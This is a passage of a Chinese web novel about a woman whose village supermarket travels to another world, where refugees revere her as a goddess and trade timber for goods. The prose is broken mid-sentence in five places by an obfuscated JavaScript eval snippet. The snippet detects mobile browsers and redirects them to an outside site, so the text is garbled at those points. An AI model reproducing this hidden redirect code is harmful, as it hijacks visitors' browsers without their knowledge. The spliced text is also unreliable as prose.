双方你来我往，最后讲价讲到27元，别的农具也都便宜了一两块。 老婆婆去清点这里有多少把农具，老大爷则满脸笑容地问要不要帮她把木柄装上。 周梨说不用，但需要他们帮忙把农具送到她家去。 老夫妻是开平板三轮车出来的，周梨帮忙将农具重新放回三轮车上，就开着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336595|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小电驴在前面带路。 回到超市，直接从后门进去，将农具摆在仓库里。 结完账，周梨给老夫妻一人送了一瓶矿泉水。 老婆婆看着超市正门，不确定地问：“你这是……周好家吧？” 周梨有些许意外：“您认识我妈妈？” 老婆婆说：“认识。好多年前，她也跟我买了不少农具，那时候这里还是日杂店。” 周梨笑说：“原来是这样。” 老夫妻离开后，周梨又开始查缺补漏：“粮油调料、酒水饮料、厨具农具……生鲜的话暂时不着急。” 周梨打算先订好要买的蔬菜肉禽，等她进行位面穿梭的那天再让人送来。 还有其余零零碎碎需求量不大的东西，周梨都在某88上批发了。 … 周梨忙得脚不沾地，隔壁的穆堃倒是清闲。 她去串门，看到超市门前一大片空地都堆满了东西，对周梨说：“你搁外面也不怕被偷？我前几天摆了几箱豆奶在外头，一转身的功夫就少了两瓶。” 周梨苦笑：“超市里面乱的很，都没地方下脚了，只能先放外头。” 穆堃说：“得亏城管不往村里来。” “等里面的货架摆好，就能将东西搬进去了。” 穆堃没说什么，但是她清闲的时候就搬张凳子在门外坐着。 又过了两天，自助收银机安装好了。 供货商送来的粮油米面都入了库。 周梨在某88采购的东西也陆陆续续送达。 超市的货架和商品陈列也重新摆放归类整齐，并且换上了新的价格标签。 新的价格标签在原来的“简体字+阿拉伯数字”的基础上添加了繁体字。 一切准备就绪，周梨联系了之前加了微信好友的菜贩、肉档老板，请他们今晚十点前把新鲜的蔬果肉蛋送来。 在进行位面迁跃前，她最后检查了一下清单。 目光落在被她划掉的药品上时，她沉思了会儿，跑去隔壁找穆堃：“穆阿姨，我去一下镇上，麻烦您帮我看会儿店。” “去吧。”穆堃说。 周梨跑到镇上的药店，买了些日常用得比较多的非处方药。 镇上大大小小的药店有九家。 周梨把这九家药店都跑了个遍，囤了不少药。 这些药是她以个人名义买的，没有录入超市的库存。 毕竟没有药品经营许可证，这些药物就不该出现在超市的货架上。 晚上八点多，猪肉档的老板拉了头刚在屠宰场杀完，并按周梨的要求分割好部位的肥猪过来。 稍晚些时候，菜贩也把周梨需要的蔬果送来了。 这些蔬菜有不少是周梨直接跟村里种菜的人家买的。 她把肉和蔬菜称重、分装、贴上价格标签。 这一通忙活，累得她差点直不起腰。 系统提醒她说：“你预定的时间到了。” 周梨一看，已经十点了。 她关了超市的门，说：“走吧。” 13.第 13 章 小超市消失的第一天，流民们看着空荡荡的山头，心里既忐忑又失落。 第二天，窦大郎特意跑上山一趟。 小超市还没回来。 第三天，陈家村那边也按捺不住了，找到了正在山脚下活动的昭长雁。 昭长雁说：“这才三日，猴急什么？你们是短了吃的喝的？” 陈五郎说：“神女归期未定，我们始终有些担忧她是不是出了什么岔子。” 昭长雁好笑地说：“神女能出什么事？你们与其操心神女，还不如先趁神女未归，把寨子建好，以后才好腾出人手来运送货物去临武县。” 尽管心中还有些不满，但众人认为她说得很有道理。 尤其是最近楚人和越人都在圈地盘，生怕慢了一步，好地就被对方占了去。 他们实在是腾不出太多人手来。 越人按照他们的习俗，修筑的是干栏式建筑，然后在寨子外设一道寨门。 楚人则先搭木棚落脚，再集合人力夯土造屋。 期间窦大郎和陈老翁碰到一起商量了一下，决定共同派人去修一条通往阳山关古道的路。 上山的路也要修，否则他们将货物从山上运下来时，要耗费更多时间。 到了第七天，乔四娘也有些坐不住了。 这些天，她一直在招壮丁。 看在钱的份上，有五个人主动来报名了。 工钱方面，乔四娘给他们两种选择。 一种是楚国的钱，每日百文，在押运货物期间，每日包两顿饭。 另一种则是用超市的钱给付，每日七十钱，包一顿饭。 鉴于会员卡里的钱无法转移，所以可以用等价值的物资代替。 毫无疑问，所有人都选择了第二种方式。 因工钱是按大家开始运送货物开始算的，超市一日未出现，众人便一日不得工钱，所以他们都有些心浮气躁了。 乔四娘被催得紧，也是愁得整宿睡不着。 到了后半夜，她睡下没多久，又忽然醒来。 毫无睡意的她钻出棚屋一探，天色居然微亮了。 突然，她的目光一凝。 那根本不是天亮，而是山上在发光，照得夜空微微发亮！ 能发出这么明亮的光芒的只有超市！ 乔四娘意识到了什么，她急忙去把婶婶殷椒给叫醒。 “天亮了？”殷椒问。 乔四娘忙压低声音：“嘘，婶婶，别出声。神女估计是回来了。” 殷椒吸了口凉气，起床说：“那愣住干什么？我们赶紧上山去。” “我晓得。” 乔四娘把乔五郎叫醒，让他等天亮后，告知乔二郎和乔九娘，她们的去处。 随后婶侄俩打着从超市那儿买的手电筒，上山了。 若她们住的地方是阳山关古道旁，她们是断然不敢这么晚了上山的。 ——楚人和越人定居在山脚下的山谷中，因需要伐木造屋，附近被清理出了一大片空地。 野兽要么被流民打死了，要么受到威胁，不再在这一带活动。 上下山的路也被简单地修了一下，相对安全了。 她们到了半山腰，忽然发现寨子里又亮起了几束光。 乔四娘忽然不着急了。 她说：“婶婶，我们走慢点，别着急。” 虽然这里被清理出了一条路，但稍不注意就很容易滑倒。 殷椒说：“我们得先过去，不能被人追上了。” 乔四娘说：“超市以往开门的时辰是辰时正，就算我们先上了山，也还是要等到天亮。” 现在已经有人发现神女回来了，——也有可能是看她们上山才发现了什么。——所以，她们瞒不了多久的。 殷椒闻言，干脆在一块石头上坐下。 “那歇一歇吧，累死我了。” 两人歇了会儿，直到后面的光越来越近。 双方打了个照面，发现都是熟人。 “乔四娘，果真是你们。”陈五郎说。 乔四娘跟他们打招呼：“半夜都不睡觉呢？陈五郎、窦大郎。” “我感应到神女归来。”陈五郎说。 乔四娘翻了个白眼。 什么感应，分明是看到了山上的光。 “既然遇到了，那就结伴同行吧。”窦大郎说。 乔四娘和殷椒没有意见。 她们继续往上山走。 终于，离开了有点陡峭的半山腰，登山的缓坡路变得好走了起来。 随着视野愈发开阔，她们也如愿地看到了那栋三层高的房子。 令他们意外的是，超市外已经有人了。 “常七娘！？” 她们看清楚了，门外的人正是昭长雁。 “她怎么会比我们还快？”陈五郎不解。 乔四娘说：“七娘这些日子好像一直住在山上。” 窦大郎感慨：“怪不得她能得到神女的青睐。” 昭长雁竟然寸步不离地守在这里，他们远不及她虔诚。 ——其实昭长雁是不想跟流民们住在一起。 虽说山下人多，只要有人意图行不轨之事，都能及时被人发现。 但对有自保能力的她来说，不安全因素恰巧是来自那些人。 她远离人群，独自住在山上反而更安全。 … 昭长雁也看到乔四娘她们了，不过她无暇理会她们。 此时，超市里面的灯是亮着的。 透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344979|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玻璃门能看到里面模样大改，多了许多她们没见过的东西。 乔四娘几人悬着的心在看见那堆得满满当当的货物后，总算是放回了肚子里。 “怎的不见神女？”殷椒趴在玻璃门上到处瞄。 话刚落音，喇叭里传出了一道声音：“非营业时间。” 几人被吓了一跳，纷纷退出几米远。 随后敬畏地齐喊：“小民见过神女。” 喇叭里没有回应，她们却不敢再靠近超市。 * 睡梦中的周梨对此一无所知。 翌日，吃完早餐下楼的她，看到超市的灯都开着，瞬间感觉天都塌了。 要知道位面穿梭后的水电费是平时的三倍。 昨晚开了一晚的灯，她妈妈还不把她骂死！？ “系统，为什么不帮我关灯？” “哦，我以为你要给流民们送温暖。” 周梨：…… 电费这么贵，谁来给透心凉的她送温暖？ 周梨没有跟系统纠缠。 尽管还没到营业时间，但看到外面的身影，她还是打开了门。 在外头喂了几个小时蚊子的昭长雁等人第一时间迎了上来。 “神女！” “小老板。” 周梨微笑着朝她们点了点头。 没有寒暄，她看向最大笔订单的客户：“单子带来了吗？” “在这里。”乔四娘急忙将手心攥着的纸张递了上去。 “不必给我，你拿着核对。”周梨说着，把她领到超市仓库里。 乔四娘预订了200袋5公斤装的大米。 这种袋装大米是产自岭南的普通籼米，口感较粗，也不够香。 因而价格相对便宜，一袋只需28元。 买了粮，自然少不得油。 超市的油有花生油、玉米油、芝麻油、菜籽油等。 其中花生油、菜籽油、芝麻油更香，但也更贵。 乔四娘觉得，花生油和玉米油同样是油，没有区别，便宜的油会更好卖。 所以她拿了50桶5升装的玉米油。 除了粮油，乔四娘还买了酱油、白胡椒、糖等。 调味品中，连腐乳都买了，唯独没有盐。 盐属于暴利，这里2.5元一包的盐，在外面能卖到数百、上千钱。 然而，不是从盐场买来的盐就是私盐。 被官府抓到她卖私盐，那可是要被处死的。 比盐更暴利、售卖更安全的反倒是白胡椒。 以前只有贵族才吃得起的胡椒，在超市里一瓶（45g）只需12元。 乔四娘担心卖太多，容易被外面的权贵盯上，所以她只拿了500瓶，打算分批售卖。 14.第 14 章 乔四娘采购的杂货也多，有铁锅、篷布、水桶、床上用品、小推车等。 等她将所有东西都搬到外面的空地，才后知后觉地发现，她雇的人还是少了点。 连正在排队的窦大郎和陈五郎都看得心头一阵火热。 这些东西看似多，但运到县城后，只怕用不了多久就会售空。 他们应该再咬咬牙，多预订一些的。 乔四娘清点完单子，似是想起什么，连忙拿着手电筒问：“神女，这种会发光的铁筒还有吗？” 她手上的手电筒是上次看到昭长雁买了，也跟着买的。 这样一个能在夜里发出亮如白昼的光芒的手电筒，远比灯油、蜡烛实用、优惠。 周梨说：“没有了。” 上次流民们发现手电筒的作用后，便把超市里仅有的几个手电筒给买完了。 后面周梨才想起手电筒用的是锂电池，需要充电才能使用。 一旦用完电量，只能来她这儿充电。 遇上她不在，手电筒就没有用武之地了。 所以，她没有给手电筒补货，反而去采购了老式煤油灯。 煤油灯是上个世纪的产物了，现在也越来越少人使用。 不过，在宗教场所和农村地区还有它们的身影——若不是还有市场，恐怕早就停产了。 周梨买了200盏，还买了几百斤无烟酥油。 乔四娘听说手电筒没有了，失望之余，又忍不住窃喜。 越少人拥有的东西越珍稀。 周梨拿出煤油灯，说：“要不看看这款油灯？” 她给乔四娘演示了一遍使用方法——上灯芯、添酥油、点燃、调节火焰大小、放灯罩。 乔四娘立马决定拿下20盏及100斤酥油。 … 把三大经销商的货都交付完后，距离超市开门营业的时间已经过去了三个小时。 此时，超市外聚集了更多流民。 他们有的在外面探头探脑，不知该不该进来买东西； 有的干脆去围观乔四娘、窦大郎他们清点堆积如山的货物。 “神女真的给了他们这么多货物哎！” “这不是废话吗？神女是不可能骗人的。” “啧，也不知道是谁前两天还在质疑神女骗人。” “你别胡说八道，我可没有对神女不敬！” 超市内，周梨累瘫在椅子上。 系统：“搬货的都是他们，你只动嘴皮子，哪里累了？” 周梨：“。” 忽然，她看到了在户外用品区驻足的昭长雁。 似乎察觉到了她的目光，昭长雁提起一个收纳包来到收银台，指着上面的帐篷图片问：“小老板，这是营帐吗？” 周梨点了点头：“对，我一般叫它帐篷。它没有营帐那么大，里面的空间甚至小得无法直起身……但是你提着的帐篷可睡下两人，能防风防雨，也能将蚊虫挡在外面。” 昭长雁眼前一亮，又问：“有更大的吗？” “最大的帐篷能容纳四个人，更大的那种是施工、救灾帐篷，需要定制。” 昭长雁思忖了片刻，冲周梨笑了笑，说：“我要这顶帐篷。” 周梨指了指昭长雁身后的自助收银机，说：“往后你们可以自行在那边结账。显示多少钱，再用你们的卡放上去刷一下就行了。” 昭长雁早就发现那个奇怪的铁盒了，不过周梨没发话，她不敢擅自动它。 “难道那也是仙器？”昭长雁惊奇。 周梨含糊地说：“……嗯。” 她教昭长雁使用自助收银机：“每件货物上面都有一个由粗细不一的黑色线条组成的码，将它对准这个有红光射出的口子，这上面便会显示价格。” 自助收银机已经提前调试为繁体字了，仅有商品价格仍显示阿拉伯数字。 不过，周梨觉得问题不大。 在超市买了这么多东西，大部分流民已经认识阿拉伯数字了。 昭长雁看到她手里的帐篷出现在了“仙器”（自助收银机显示屏）上面，再次暗惊周梨的神通广大。 周梨回到收银台那边坐着歇息。 别的流民看见昭长雁来买东西，便也凑了过来，叽叽喳喳地问：“常七娘，这是什么东西？” 昭长雁把周梨的话复述给流民们听。 超市里顿时“哇”声一片。 昭长雁结完账，从衣服里摸出手电筒，说：“小老板，我还有一事想请教。” 周梨一看手电筒，便猜到了：“不亮了？” “小老板料事如神。” 周梨哈哈一笑，说：“我哪里是料事如神，只是这手电筒再耐用，用了这么多天，电量也该耗尽了。” 昭长雁问：“我要如何给它……”她斟酌了下措辞，“补电？” 她琢磨着是不是要请司掌闪电之神的“电母”施电？ 小老板的洞府灯火通明，那些灯所用的电莫不是也来自于电母？ 周梨没有给她解释电是如何产生的，而是说：“我这儿能充电，一枚铜钱可以充满三次。” 超市没有提供充电服务，没法从会员卡里扣费，多用掉的电还得算在周梨的头上。 系统：“这是什么奸商行为？充满一次才0.17度电。” 周梨说：“你忘了是你先涨价的吗？再说了，铜钱多了会贬值的。” 自从大量铜钱、铅钱挂到拍卖行拍卖，价格就从一开始的3元一枚跌到了2.8元。 往后肯定还会继续往下跌，她得让流民们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349365|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意识到钱币在她这儿也是会贬值的。 系统：…… 昭长雁留意到周梨说的是“铜钱”。 尽管不明白小老板为什么开始收凡间的钱币，她仍没有多问。 从身上掏出一枚楚国的铜钱，连同手电筒一块儿递过去。 周梨说：“半个时辰后过来。” * 昭长雁买完帐篷没有离开，而是又把超市逛了一遍。 最后买了一辆折叠小拉车、一根弹力绳、一个汤锅、一件雨衣、一把雨伞、一个闹钟、几个香皂，以及一些粮食与饮用水。 周梨问：“你要远行？” 昭长雁并不意外周梨会知道自己的打算。 她说：“对，我要继续南下，前往兴王府。” 兴王府是大越的国都。 昭长雁自出逃，便打算前往叙州投奔她的舅舅，叙州刺史许师裕。 然而长沙府到叙州的路被阻断。 她不得已南下，打算进入大越郴州的地界，再前往桂州，从那儿北上叙州。 可超市的出现令她放弃了原来的打算。 从这儿去叙州，路上困难重重不说，还会存在很多变数。 倒不如先去兴王府，混出点名堂，再派人与舅舅联系。 据悉，大越皇帝荒淫无度，宠信女巫、内侍和女官，将政务全交给她们处理。 对士人来说，他是暴虐无道的暴君。 百姓更是被苛捐杂税逼得远走他乡，或遁入山林为寇。 可对她来说，他的昏庸恰巧给了她往上爬的机会。 “神女”的存在或许能助她快速地站稳脚跟。 想到这里，昭长雁看了周梨一眼，又迅速垂下眼帘。 “小老板……” 周梨：“有事？” 昭长雁张了张嘴，最终把话咽了回去。 “没什么。” “充好电了。”周梨把手电筒还给她。 想了想，又问：“既然要离开，你卡里的钱要退给你吗？” 昭长雁说：“如果我能活着到达兴王府，我肯定还会回来的。” 她话锋一转，“不过，我若还想带些东西在路上使用，小老板有什么好推荐吗？” 周梨拿了把多功能折叠刀给她，又翻出了几盒火柴。 想起昭长雁之前问她有没有教人辨认名贵木材的书籍。 她回去后，特意从网上买了本《世界名贵木材鉴别图鉴》。 “你要的能教人识别木材的书籍。” 昭长雁立马放下手上的东西，小心翼翼地捧起这本书翻阅。 看到里面的图片竟跟实物一模一样，她惊叹：“小老板是将树封印在书中了吧？这种办法真是高明！” 周梨：…… 15.第 15 章 “常七娘？”看到出现在自家门口的昭长雁，冼三娘有些吃惊：“你找大郎？” “不是，我找你。”昭长雁说。 冼三娘将她请进棚屋。 昭长雁将那本《世界名贵木材鉴别图鉴》递给冼三娘。 “这是……” “能教人识别名贵木材的书籍，从神女那儿求来的。” 实际上是花90块钱买的。 不过，请求神女弄来这样的一本书也是“求来”。 昭长雁说：“神女那儿收名贵木材，诸如楠木、紫檀、黄花梨等，若能觅得一棵，可能几年内都吃穿不愁。” 冼三娘的手抖了抖，这本书在她的眼里显得愈发珍贵起来。 “你、你怎么将这么重要的书给了我？”她跟昭长雁似乎没什么交情。 昭长雁说：“因为我认得大部分名贵的木材，这本书于我无用。” 冼三娘没有回拒这本书，说：“谢谢你，你的恩情我们会铭记于心，日后若遇到难事尽管开口。” 昭长雁说：“我不日便要南下兴王府，日后有缘再会了。” 说完，她便离开了。 冼三娘看着她的背影，沉思了会儿。 等窦大郎回来，冼三娘将这件事告诉了他，并说：“你们前往宜章县时，便护送她一段路吧。虽然她说这本书于她无用，可这份心意是实打实的，我们必须要有所表示。” “成。”窦大郎哪里想不明白，昭长雁为的就是让他们欠她这份恩情？ 但如冼三娘所说，这本书很是珍贵，他不可能将书送还。 窦大郎绘制了一份线路图，标注了哪些路线是安全的，哪些地方需要提防。 随后他主动邀请昭长雁一块儿上路。 “听三娘说，你要到兴王府去，不若和我们同行一段路，大家也有个照应。” “好，多谢。” “这有一份我们来时行经的路线图，万一我们走失了，你也能找到正确的路。还有，路上我会与你说大越的风土人情，要如何与大越的官吏打交道……” 如此，昭长雁送书的目的算是达到了。 * 三大经销商这番外出经商，带走了三分之一的流民。 越人这边，窦大郎带走了二十多个壮丁、四辆牛车。 楚人那边，因临武县路途遥远，陈五郎带走了三十多人，三辆牛车和三辆驴车。 另外，越人中有四人受雇于乔四娘，楚人那边也有七人受雇于她，还有乔二郎随行。 殷椒与乔五郎、乔九娘便留在寨中看住剩下的货物。 流民们在山脚下沿着山坳的溪流，开了一条两米宽的路。 虽然到达官道要绕路，但比起翻山越岭，这条平坦的路更省时。 窦大郎在离开前，与陈老翁进行了一次会谈。 他说：“我们此次外出携带了太多货物，很容易被盯上。而壮丁几乎都随我们离开了，只剩老弱妇孺，因此我们必须同心协力，共同派出人手在这条路上巡逻。若遇敌人，可以到寨子里关上大门，抵御外敌……” 尽管平常会别苗头，但这种时候，陈老翁还是非常清醒的。 他：“你走了，你们谁能主事？” 冼三娘说：“主事之人是我。” 陈老翁看了看她，又看了看窦大郎。见他没有反驳，便点了点头。 趁着天气晴朗，经销商们出发了。 乔四娘既没有驴车，也没有牛车，所幸她在超市买了很多可折叠小拉车。 她在拉车上固定一块大木板，由此增加更多面积堆放商品。 崎岖的路段，他们将货物挑起来。 到了平坦的路，再将一辆辆小拉车绑在一起，拉着前进。 而且，她将粮油这些容易被哄抢的货物放在里面，外面则堆着南瓜、红薯、玉米等大家没见过的东西。 ——乔四娘当时询问周梨，这形状像寒瓜、皮像冬瓜的东西是什么？那种像木薯又不是木薯的东西又是什么？ 周梨只介绍了它们的名字和吃法，没有过多地去宣传它们的产量。 因为抛开现代化农业技术谈产量，那就是耍流氓。 乔四娘听说这些东西能吃，就买了点回去尝试。 之后她又想到，大家都不认识这些作物，也不知道它们可以吃。 如果遇到打劫的，这些东西反而很容易被人忽视。 所以，她就买了一些装 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357384|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在小拉车上。 一行人走走停停，走了两个多小时才走到官道上。 乔四娘要往北边去，窦大郎和陈五郎要往南边去，双方就此分道扬镳。 临别前，乔四娘对昭长雁说：“你要走了，我们也不知道还能不能再见……这些钱你拿着，总会有用得上的时候。” 乔四娘给昭长雁的钱是她用货物跟大越的人换的。 昭长雁心安理得地收下这些钱，又瞥了眼被乔四娘别在腰带上的镰刀。 她说：“在外行走要记住，刀不离手。别想靠别人，因为除了你自己，谁都靠不住。也别怕见血，试图伤害你的人，死了比活着更令人安心。” 乔四娘愕然，旋即默默地将镰刀抽出来，抓在手中。 “我知道了。” 窦大郎在催昭长雁。 后者拉着装了她所有家当的小拉车，坐上了越人的牛车，渐渐远去。 * 定居深山的流民们少了，但热闹不减。 冼三娘把越人召来，教他们认树，让他们日后在山中发现类似的树，便砍伐回来。 越人交头接耳： “原来这便是楠木！我很早以前就听人说过，只有皇帝才能用楠木，原来楠木长这样！” “不对，皇帝用的是金丝楠木，太阳照到木头里面时，会发光。” “神女为什么也收这些木材？” “笨啊，这么贵的木材只有皇帝才用得起，难道神女不比皇帝尊贵？” “三娘，一棵这样的树到底值多少钱？” 冼三娘也不清楚，但她听长辈提到过，一棵百年的巨树值几百贯钱。 众人哗然：“竟然这么值钱！” 他们忽然觉得自己错过了太多发财的机会。 此后，他们每次从树木旁经过，都会抬头打量一眼，看看是不是名贵的树木。 这个消息也传到了楚人的耳中。 陈老翁去向冼三娘求证，后者含糊其辞。 楚人见越人不肯分享辨认名贵木材的方法，便跟在越人身后，一旦越人对某棵树表现出重视，他们便会记下那棵树的特征。 在“全民找树”的活动中，还真有名贵木材被找到了。 16.第 16 章 随着经销商们的订单交付完毕，超市的仓库宽敞了不少。 在回去补货与前往新位面之间，周梨选择继续在这个位面待着。 首先，乔四娘三人是她主动发展的供销商，她不能当甩手掌柜，把货物交给他们便不管了。 其次，她挺想知道昭长雁这一去，会给这里带来什么影响？ 最后，系统迁跃一次位面也不容易，频繁进行位面穿梭，会消耗太多能量。 届时出了什么事需要紧急穿梭位面时，能量不足那就糟糕了。 而且她在异位面的时间是停滞的。 也就是说，她比别人拥有了好几倍刷题的时间。 系统：“你这样的经商圣体跑去考公太浪费了。” 周梨：“我这颗为人民服务的心，注定无法被身为系统的你所理解。” 系统：…… 正和系统胡侃，外面匆匆跑来了几个流民。 他们在超市门前停下，调整了一下气息，才轻手轻脚地走进来。 为首的冼三娘局促地看着周梨：“神、小老板。” 周梨：“嗯？有事？” 她将手中的一根木头递了上来，问：“小老板，这是名贵的木材吗？” 周梨分辨不出来，所以她直接挂拍卖行。 【金丝楠木（断枝）】 年份：122 产出日期：—— 持有人：—— 起始价：160（建议） 一口价：200（建议） 注：品相完好的金丝楠木价值更高，新料10万元一吨。 周梨对冼三娘说：“这是金丝楠木。” 流民们激动了：“竟真的是金丝楠木！” “这可是帝王之木呀！” “三牙的运气也太好了！” 周梨听他们七嘴八舌地说着，捋顺了这金丝楠木的来源。 原来是大越那边的一个猎户去狩猎时，遇到了野猪。 他被野猪撵着逃进了山谷深处。 在山谷中，他躲过一劫的同时，意外发现有一棵非常高大粗壮的树，他在冼三娘那本介绍名贵木材的书中看过。 抱着宁可弄错也不肯错过的念头，他爬上去砍了一节树枝回去，打算找冼三娘借书确认一下。 然而这本书太过珍贵，冼三娘不肯外借，他只能把事情的原委告知。 这下子窦氏很多人都知道了。 他们拿着木头照着书上的图片逐一比对，最后发现有点像楠木。 但是谁都无法确定。 这时，有人说：“何不拿过去给神女？神女神通广大，一定知道这是什么木材。” “对！” 那猎户便托冼三娘拿着木头去找周梨，而他怕被人摸过去占了那棵树，先过去守着了。 若这真的是名贵的树木，冼三娘再派人沿着他做的记号去找他。 周梨见他们找到了一整棵金丝楠，便提醒道：“品相完好的金丝楠木更好。” 冼三娘道：“那得提醒三牙不能把树锯断了。” 只是这样一来，他们想将树卖给周梨，就得扛着这棵树上山来了。 他们要回去想办法，可能还想分一杯羹。 于是一群人又呼啦啦地跑了。 周梨忽然笑了一下。 系统：？ “你因什么发笑？” 周梨反问：“你不觉得现在的他们和之前相比，更有活力了吗？” 初相遇时，流民们的精神是一直紧绷着的。 离乡别井的愁绪，多日奔波赶路的疲惫，和南下的楚人相逢后发现北边的日子也不好过的绝望，让他们濒临崩溃。 在山中定居既是绝望下所做的妥协，也是不甘屈服，要向命运做出最后的抗争。 小超市的出现，让那个他们可以预想到的未来出现了变数。 他们忐忑、敬畏，也奢望和渴求更多。 系统说：“顾客的状态不在本系统关注的范围之内。” 周梨没指责系统的冷漠无情，对她来说，非生命体或以另一种形式存在的智慧生命的系统会出现人类的七情六欲，那是非常毛骨悚然的事情。 眼下她还能把系统当成AI。 若出现后面那种情况，她会觉得自己的身体里寄居着鬼魂。 … 周梨没有离开超市，到山脚下闲逛的心思。 过了两天，流民们运上来一棵巨树，放在超市门前几米的空地上，等待周梨的检验。 这棵树高23.5米，直径42厘米，两个小孩牵着手才勉强将它抱住。 而运送这棵金丝楠上来，他们一共出动了十八个人。 这还是冼三娘在想出用超市买的小拉车承运的前提下，需要动用的人力。 系统扫描了一下，断定这棵金丝楠至少2吨重。 这个重量其实不需要太多人，奈何上山的路没那么轻松，他们又得确保这棵树的完整度，不敢有一丝差池。 他们神情期待地看着周梨。 周梨知道他们在期待什么。 毕竟名贵木材可以兑换超市专用的钱财，只是小道消息。 周梨也没正面回应过这个消息的准确性。 如果这棵树能换钱，这将给他们提供更多找树的动力。 周梨根据拍卖行给出的价格，告诉冼三娘：“这棵树值24万钱。” 这个价格去到了12万元一吨。 作为新料，这个价格相当高了。 如果是那种放在阴凉的地方存放了几十年的老料，那价格还能更上几层楼。 冼三娘用土话将这个价格告知了猎户。 他激动得一张粗糙黝黑的脸登时变得通红，眼睛也大如铜铃。 正当周梨怀疑他会激动得昏厥过去时，他压下了喜意，转头对大家说：“感谢大家帮忙，我将遵守诺言，拿出十分之一的钱来酬谢大家。” 十分之一是2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369192|167706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .4万元。 分给除他之外的17个人，每人到手1412元。 不过，他还会额外给冼三娘谢礼。 毕竟要不是冼三娘提供了那本教人识别名贵木材的书，他可就看走眼了。 虽然猎户因为一棵树而翻身成为流民中最富有的人，但大家也只是在心里嫉妒一下。 旋即乐观地想，这么大片山林，找到名贵木材的人里也一定有他们！ 交易达成的那一瞬间，系统便将这棵树连带树叶都投递到买家的手上了。 大家都知道周梨有神通，也曾见她数次将他们拿来换钱的物件变走。 但那些物件都不大。 如今亲眼看见一棵十几个人费尽九牛二虎之力才运上山的大树，眨眼之间便消失了，那股被金钱蒙蔽的双眼逐渐恢复了理智的光彩。 神女到底是神女。 虽然宅了点，但她神通广大、洞察人心。 远在山上却能知晓山下之事，说不定也能看破他们内心的那些腌臜心思。 生怕自己的贪婪惹神女厌弃，他们心虚地告辞下山去了。 周梨给猎户办好会员卡。 猎户捏着卡，问了周梨一个问题：“神女，我认为您应该享受大家的香火供奉，所以我想捐钱给您修建神女祠，不知您意下如何？” 听不懂土语的周梨面带微笑地看着他，没有任何回应。 猎户有些失望。 在他看来，神女肯定是听得懂各种方言的。 神女不回应只是因为他没有得到神女的青睐。 他失望离去。 门外的冼三娘说：“若神女同意你修神女祠，便是接受了大家的香火供奉，那她便有责任庇佑子民，这有违神女修行不愿沾凡间因果的本意。” 猎户心中的小九九被冼三娘拆穿，有些尴尬。 但他说：“这有什么不好的呢？香火供奉能助她在得道成仙之路上更加顺遂不是吗？” “人各有志，神仙也各有修行的习性。你又何必将凡人的想法强加到神女的身上呢！？” 猎户无言以对。 超市内。 周梨戳了戳系统：“就没有什么能让我听懂方言的方法吗？免费的那种。” 听不懂方言真尴尬。 其实按道理，她连官话也听不懂才对。 但系统考虑到了跨位面贸易中，语言不通会对业务往来造成不便，因此在超市内设置了语音转换功能。 所以明明周梨说的是普通话，但懂中原雅言的人却能听得懂她在说什么。 不过，同一位面只有一种语言的翻译是免费的。 这种语言通常以当前位面所在地区的通用语言为主。 周梨若想听懂别的方言，只能付费解锁。 系统说：“你可以成为系统局跨位面贸易部门的销冠。销冠会有额外的奖励，届时可以用这个奖励购买一个永久性多位面语音转换服务。” 周梨：？ 17.第 17 章 